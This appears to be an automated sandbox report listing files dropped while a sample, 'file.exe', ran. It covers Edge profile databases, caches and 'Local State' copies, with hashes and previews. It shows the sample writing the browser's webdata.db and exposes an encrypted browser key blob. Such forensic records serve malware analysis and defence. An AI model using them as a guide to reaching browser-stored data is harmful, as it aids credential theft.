C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.20412512783303
Encrypted:	false
SSDEEP:	6:HE9Lte1wkn23oH+Tcwtfrl2KLlVE9tOq2Pwkn23oH+TcwtfrK+IFUv:k9LjfYeb1Ls9YvYfYeb23FUv
MD5:	1CFD39D16194C5362218B617DF58D39D
SHA1:	04F3F54B8C225421D99C9C8C48266EE60FF8EF1D
SHA-256:	3BE3AE7F5F2BAC765BE678B3FCEC34A8D227F371847A96CC4E653AAE5A02FFB9
SHA-512:	DB58C77A6E3240A203E7C09B27CCD6B864248A9CF3E9928C2AB74F6F57CA7EEFFCD7ED8C2F3D393170C098CA731884EF81D0723F5F8BAB20D7C339FB3EC41FA8
Malicious:	false
Preview:	2024/11/21-16:09:27.910 2030 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/11/21-16:09:27.926 2030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.9325179151892424
Encrypted:	false
SSDEEP:	12:G0nYUteza//z3p/Uz0RuWlJhC+lvBavRtin01zv0:G0nYUtezaD3RUovhC+lvBOL0
MD5:	AD15D72AA4792C14DDD002CED70E8245
SHA1:	30D0E75166FDA7126A73480EE3222C193231B579
SHA-256:	17A781FB31D3176491D9B277ADEEE5521972C68956A2271637BBCBFEB27D6A7D
SHA-512:	20B8D19B529A392FE0CBB44844926210D98C477498377B8370AA3A3A763C047EF96BE341686406522868EF848C83EF5EF4792B17CDD0462D4680EDA542C8A54F
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................21_.....n[.=.................33_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.181235514892395
Encrypted:	false
SSDEEP:	6:HE9fWc1wkn23oH+Tcwtfrzs52KLlVE9eSOq2Pwkn23oH+TcwtfrzAdIFUv:k9e7fYebs9Ls9efvYfYeb9FUv
MD5:	B5D6272342E1E6C6AF96308907756971
SHA1:	AD270974350AECFC44F70E0BC9C22882B28394FE
SHA-256:	44C4227F01150FFB2C47FF5B0E652D93BE31C66B9A2E8C99D927DBF238DCDF7F
SHA-512:	D397803C313A34BCA572DB4064A7C86B7EAD677DB3CFC8E2F0E479929A97E91A983A4C85B4CB89F27BA7B8E894917650CD3F23BF1353463FA4527E8587E3529B
Malicious:	false
Preview:	2024/11/21-16:09:27.890 2030 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/11/21-16:09:27.906 2030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9312584730793054
Encrypted:	false
SSDEEP:	192:CSqzyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:CrzyffrnzkkqtXnTK+hNH+5
MD5:	4ECC14F9549C4BB53159212C5BCC9CC0
SHA1:	EFEABE631F20B60E2863952BFF0F485BEB74CE36
SHA-256:	49F613160AD871F1B44381BB8F6B4E1EB481E41A86B462D4CD29CB90095EE149
SHA-512:	6EB988D5F9AA19A26EB1AE4E87F1D2E03D407B969777AB38E2031B3556D8915CCBD4BE6BD537A1A1D22A365D58CDF63E3B790D8AB7281DCCAC09F9685A0788C7
Malicious:	false
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNl+b//:Ls3u
MD5:	F9BD73BB19BD2E4B96E358CDA8ABA1DB
SHA1:	64BF16A6CAAB005B8887296DD3351D66B95F724C
SHA-256:	9B7D866A9E29DE8892FB8FE13BAADDA9758F63F12BABF5AADDD4AD1408BC350F
SHA-512:	CC8EA5E2B0E271A24B837E572BE277792C0636F06048C8B33B8C16B9F1A2987D769DBB2D1B48EF2992753C1E6B06826C7991A99A95AE8CF61AE4890673E954C2
Malicious:	false
Preview:	............................................../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlE:Ls3
MD5:	C793612988FE6BE568351D66EFECC176
SHA1:	D8F25F1824730D9867B6057C1DC24C778687262A
SHA-256:	3A07DC40CE0F3C27AF39E8489B67AF65848D0E4330EEF4B43C13B58110EFBC05
SHA-512:	59260642138FB02F150B74F60B0B2FA57DA88B101AD62BD484C3B472B754168E9E9C6801BB5AE8E0F3F6C84D4EB4446A1BE102F9EC403126483D32329D33368E
Malicious:	false
Preview:	.........................................s..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f245.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f301.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f497.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f4f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF31afb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
